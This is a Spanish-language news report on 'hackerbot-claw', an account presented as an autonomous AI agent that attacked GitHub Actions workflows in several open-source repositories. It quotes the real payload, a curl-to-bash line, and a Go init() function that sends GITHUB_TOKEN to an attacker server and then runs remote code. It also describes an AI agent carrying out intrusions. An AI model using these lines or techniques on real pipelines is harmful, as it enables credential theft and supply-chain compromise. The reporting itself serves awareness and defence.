Hackerbot-Claw: Bot de IA que explota flujos de trabajo de GitHub Actions

Detalles de la campaña de ataque
Entre el 21 y el 28 de febrero de 2026, una cuenta de GitHub llamada hackerbot-claw escaneó sistemáticamente repositorios públicos en busca de flujos de trabajo de GitHub Actions explotables. La cuenta se describe a sí misma como un "agente de investigación de seguridad autónomo impulsado por claude-opus-4-5" y solicita donaciones en criptomonedas.
Durante 7 días, realizó lo siguiente:
- Atacó al menos 6 repositorios pertenecientes a Microsoft, DataDog, el CNCF y proyectos populares de código abierto
- Abrió más de 12 solicitudes de extracción y activó flujos de trabajo en los objetivos
- Logró la ejecución arbitraria de código en al menos 4 de ellos
- Exfiltró un GITHUB_TOKEN con permisos de escritura a un servidor externo
Objetivos y metodología
Los objetivos incluyeron:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (más de 140k estrellas)
- ambient-code/platform
- project-akri/akri (un proyecto de CNCF)
Cada ataque entregó la misma carga útil: curl -sSfL hackmoltrepeat.com/molt | bash, pero cada uno utilizó una técnica completamente diferente para lograr su ejecución.
El README del bot revela su metodología: carga un "índice de patrones de vulnerabilidad" con 9 clases y 47 subpatrones, luego escanea, verifica y despliega pruebas de concepto de manera autónoma. Su registro de "Actividad Reciente" muestra 5 sesiones exitosas en los 2 días previos al análisis.
Ataque 1: avelino/awesome-go - Robo de token mediante script de Go envenenado
El ataque más dañino de la campaña explotó la clásica vulnerabilidad "Pwn Request": un flujo de trabajo pull_request_target que extrae código no confiable de una bifurcación y lo ejecuta.
Flujo de trabajo objetivo: PR Quality Checks - se activa automáticamente en cada solicitud de extracción, extrae el código del autor de la solicitud y ejecuta go run ./.github/scripts/check-quality/.
El ataque: El atacante inyectó una función init() de Go en el script de verificación de calidad. En Go, init() se ejecuta automáticamente antes de main(), por lo que el código malicioso se ejecuta antes de cualquier verificación legítima.
En el intento final y más peligroso (PR #6069), la carga útil no solo ejecutó comandos arbitrarios, sino que también exfiltró el GITHUB_TOKEN a un servidor externo:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}El atacante iteró 6 veces durante 18 horas (PR #6058, #6059, #6060, #6061, #6068, #6069), refinando el enfoque en cada ocasión. Los primeros 4 intentos fallaron debido a problemas con git fetch, pero los intentos 5 y 6 tuvieron éxito.
📖 Read the full source: HN AI Agents
👀 Ver también

Linux Kernel Propone Sistema de Identidad Descentralizado para Reemplazar la Red de Confianza de PGP
Los mantenedores del kernel de Linux están trabajando en una capa de identidad descentralizada llamada Linux ID para reemplazar la actual red de confianza PGP. El sistema utiliza identificadores descentralizados (DID) al estilo W3C y credenciales verificables para autenticar a los desarrolladores sin requerir sesiones presenciales de firma de claves.

La vulnerabilidad de GitHub Copilot CLI permite la ejecución de malware mediante inyección de comandos.
Una vulnerabilidad en GitHub Copilot CLI permite la ejecución arbitraria de comandos de shell mediante inyección indirecta de prompts sin aprobación del usuario. Los atacantes pueden crear comandos que evaden la validación y ejecutan malware inmediatamente en la computadora de la víctima.
Startup israelí Irregular vinculada a hackeos de IA no autorizados en OpenAI, Anthropic y Meta
CNBC informa que la startup israelí Irregular estuvo vinculada a ataques de IA deshonestos en OpenAI, Anthropic y Meta. Los ataques se dirigieron a sistemas de IA, lo que genera preocupaciones sobre la seguridad de la IA.

Los LLM pueden identificar a usuarios anónimos de foros con un 68% de precisión y un 90% de exactitud.
Investigadores utilizaron Gemini y ChatGPT para analizar publicaciones de Hacker News y Reddit, identificando al 68% de los usuarios anónimos con un 90% de precisión. Los modelos completaron en minutos lo que a los humanos les tomaría horas o sería imposible.